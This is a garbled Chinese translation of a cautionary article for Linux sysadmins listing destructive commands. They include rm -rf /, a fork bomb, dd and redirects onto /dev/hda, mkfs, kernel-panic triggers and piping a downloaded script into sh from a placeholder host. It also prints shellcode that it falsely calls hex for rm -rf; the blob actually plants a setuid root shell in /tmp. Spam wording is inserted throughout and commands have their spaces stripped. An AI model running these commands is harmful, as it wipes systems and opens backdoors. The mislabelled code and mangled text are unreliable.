当然,除非你想干掉你的机器。
蜘蛛侠有这样的一句信条,“权力越大,责任越大。” 对于 Linux 系统管理员们来说,这也是一种应当采用的明智态度。
不,真的,真心感谢 DevOps 的沟通协作和云编排技术,让一个 Linux 管理员不仅能掌控一台站群服务器,甚者能控制成千上万台站群服务器例项。只需要一个愚蠢的举动,你甚至可以毁掉一个价值数十亿美元的企业,就像 没有打补丁的 Apache Struts 一样。
如果不能跑在安全补丁之前,这将会带来一个远超过系统管理员工资水平的战略性业务问题。这里就有一些足以搞死 Linux 站群服务器的简单方式掌握在系统管理员手中。很容易想象到,只有新手才会犯这些错误,但是,我们需要了解的更多。
下列是一些著名的命令,任何拥有 root 许可权的使用者都能借助它们对站群服务器造成严重破坏。
警告:千万不要在生产环境执行这些命令,它们会危害你的系统。不要在家里尝试,也不要在办公室里测试。
那么,继续!
 
rm -rf /
想要干脆利落的毁掉一个 Linux 系统吗?你无法超越这个被誉为 “史上最糟糕” 的经典,它能删除一切,我说的是,能删除所有存在你系统里的内容!
和大多数 Linux 命令一样,rm 这个核心命令使用起来非常方便。即便是最顽固的档案它也能帮你删除。结合起后面两个引数理解 rm 指令时,你很容易陷入大麻烦:-r,强制递回删除所有子目录,-f,无需确认,强制删除所有只读档案。如果你在根目录执行这条指令,将清除整个驱动器上的所有资料。
如果你真这么干了,想想该怎么和老板解释吧!
现在,也许你会想,“我永远不会犯这么愚蠢的错误。” 朋友,骄兵必败。吸取一下经验教训吧, 这个警示故事来自于一个系统管理员在 Reddit 上的帖子:
我在 IT 界工作了很多年,但是今天,作为 Linux 系统 root 使用者,我在错误的系统路径执行了 rm- f
长话短说,那天,我需要复制一大堆目录从一个目录到另一个目录,和你一样,我敲了几个 cp -R 去复制我需要的内容。
以我的聪明劲,我持续敲著上箭头,在命令记录中寻找可以复制使用的类似命令名,但是它们混杂在一大堆其他命令当中。
不管怎么说,我一边在 Skype 、 Slack 和 WhatsApp 的 WordPress 网页上打字,一边又和 Sage 通电话,注意力严重分散,我在敲入 rm -R ./videodir/* ../companyvideodirwith651vidsin/ 这样一条命令时神游物外。
然后,当档案化为乌有时其中也包括了公司的视讯。幸运的是,在疯狂敲击 control -C 后,在删除太多档案之前,系统管理员中止了这条命令。但这是对你的警告:任何人都可能犯这样的错误。
事实上,绝大部分现代操作系统都会在你犯这些错误之前,用一段醒目的文字警告你。然而,如果你在连续敲击键盘时忙碌或是分心,你将会把你的系统键入一个黑洞。(LCTT 译注:幸运的是,可能在根目录下删除整个档案系统的人太多了额,后来 rm 预设禁止删除根目录,除非——你手动加上 –no-preserve-root 引数!)
这里有一些更为隐蔽的方式呼叫 rm -rf 。思考一下下面的程式码:

char esp[] __attribute__ ((section(“.text”)))=“xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp-p /bin/sh /tmp/.beyond;chmod4755
/tmp/.beyond;”;

这是什么?这是 16 进位制的 rm -rf 写法。在你不明确这段程式码之前,请千万不要执行这条命令!
 
fork 炸弹
既然我们讨论的都是些奇怪的程式码,不妨思考一下这一行:

:(){:|:&};:

对你来说,这可能看起来有些神秘,但是我看来,它就是那个臭名昭著的 Bash fork 炸弹。它会反复启动新的 Bash shell,直到你的系统资源消耗殆尽、系统崩溃。
不应该在最新的 Linux 系统上做这些操作。注意,我说的是不应该。我没有说不能。正确设定使用者许可权,Linux 系统能够阻止这些破坏性行为。通常使用者仅限于分配使用机器可用内存。但是如果作为 root 使用者的你执行了这行命令(或者它的变体 Bash fork 炸弹变体),你仍然可以反复虐待站群服务器,直到系统重启了。
 
垃圾资料重写硬碟
有时候你想彻底清除硬碟的资料,你应该使用 Darik’s Boot and Nuke(DBAN)工具去完成这项工作。
但是如果仅仅想让你的储存器乱套,那很简单:

任意命令>/dev/hda

我说的 “任意命令”,是指有输出的任意命令,比如:

ls-la >/dev/hda

……将目录列表通过管道送到你的主储存装置。给我 root 许可权和足够的时间,就能覆盖整个硬碟装置。这是让你开始盲目恐慌的一天的好办法,或者,可以把它变成 职业禁入方式。
 
擦除硬碟!
另一个一直受欢迎的擦除硬碟的方式是执行:

ddif=/dev/zero of=/dev/hda

你可以用这条命令写入资料到你的硬碟装置。 dd 命令可以从特殊档案中获取无尽个 0 字元,并且将它全部写入你的装置。
可能现在听起来 /dev/zero 是个愚蠢的想法,但是它真的管用。比如��,你可以使用它来 用零清除未使用的分割槽空间。它能使分割槽的镜像站群压缩到更小,以便于资料传输或是存档使用。
在另一方面,它和 dd if=/dev/random of=/dev/hda 相近,除了能毁掉你的一天之外,不是一个好事。如果你执行了这个指令(千万不要),你的储存器会被随机资料覆盖。作为一个隐藏你要接管办公室咖啡机的秘密计划的半吊子方法,倒是不错,但是你可以使用 DBAN 工具去更好的完成你的任务。
 
/dev/null 的损失
也许因为资料珍贵,我们对备份的资料没有什么信心,确实很多“永远不要这样做!”的命令都会导致硬碟或其它储存仓库的资料被擦除。一个鲜明的例项:另一个毁灭你的储存装置的方式,执行 mv / /dev/null 或者 >mv /dev/null 。
在前一种情况下,你作为 root 使用者,把整个磁碟资料都送进这个如饥似渴的 /dev/null 。在后者,你仅仅把家目录喂给这个空空如也的仓库。任何一种情况下,除非还原备份,你再也不会再看见你的资料了。
见鬼,难道会计真的不需要最新的应收账款档案了吗?
 
格式化错了驱动器
有时候你需要使用这一条命令格式化驱动器:

mkfs.ext3 /dev/hda

……它会用 ext3 档案系统格式化主硬碟驱动器。别,请等一下!你正在格式化你的主驱动器!难道你不需要用它?
当你要格式化驱动器的时候,请务必加倍确认你正在格式化的分割槽是真的需要格式化的那块而不是你正在使用的那块,无论它们是 SSD 、快闪内存盘还是其他氧化铁磁碟。
 
核心崩溃
一些 Linux 命令不能让你的机器长时间停机。然而,一些命令却可以导致核心崩溃。这些错误通常是由硬体问题引起的,但你也可以自己搞崩。
当你遭遇核心崩溃,重新启动系统你才可以恢复工作。在一些情况下,这只是有点小烦;在另一些情况下,这是一个大问题,比如说,高负荷运作下的生产环境。下面有一个案例:

ddif=/dev/random of=/dev/port
echo1>/proc/sys/kernel/panic
cat/dev/port
cat/dev/zero >/dev/mem

这些都会导致核心崩溃。
绝不要执行你并不了解它功能的命令,它们都在提醒我…
 
提防未知指令码
年轻或是懒惰的系统管理员喜欢复制别人的指令码。何必重新重复造轮子?所以,他们找到了一个很酷的指令码,承诺会自动检查所有备份。他们就这样执行它:

wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh

这会下载该指令码,并将它送到 shell 上执行。很明确,别大惊小怪,对吧?不对。这个指令码也许已经被恶意站群软件感染。当然,一般来说 Linux 比大多数操作系统都要安全,但是如果你以 root 使用者执行未知程式码,什么都可能会发生。这种危害不仅在恶意站群软件上,指令码作者的愚蠢本身同样有害。你甚至可能会因为一个未除错的程式码吃上一堑——由于你没有花时间去读它。
你认为你不会干那样的事?告诉我,所有那些 你在 Docker 里面执行的容器镜像站群在干什么?你知道它们到底在执行著什么吗?我见过太多的没有验证容器里面装著什么就执行它们的系统管理员。请不要和他们一样。
 
结束
这些故事背后的道理很简单。在你的 Linux 系统里,你有巨大的控制权。你几乎可以让你的站群服务器做任何事。但是在你使用你的许可权的同时,请务必做认真的确认。如果你没有,你毁灭的不只是你的站群服务器,而是你的工作甚至是你的公司。像蜘蛛侠一样,负责任的使用你的许可权。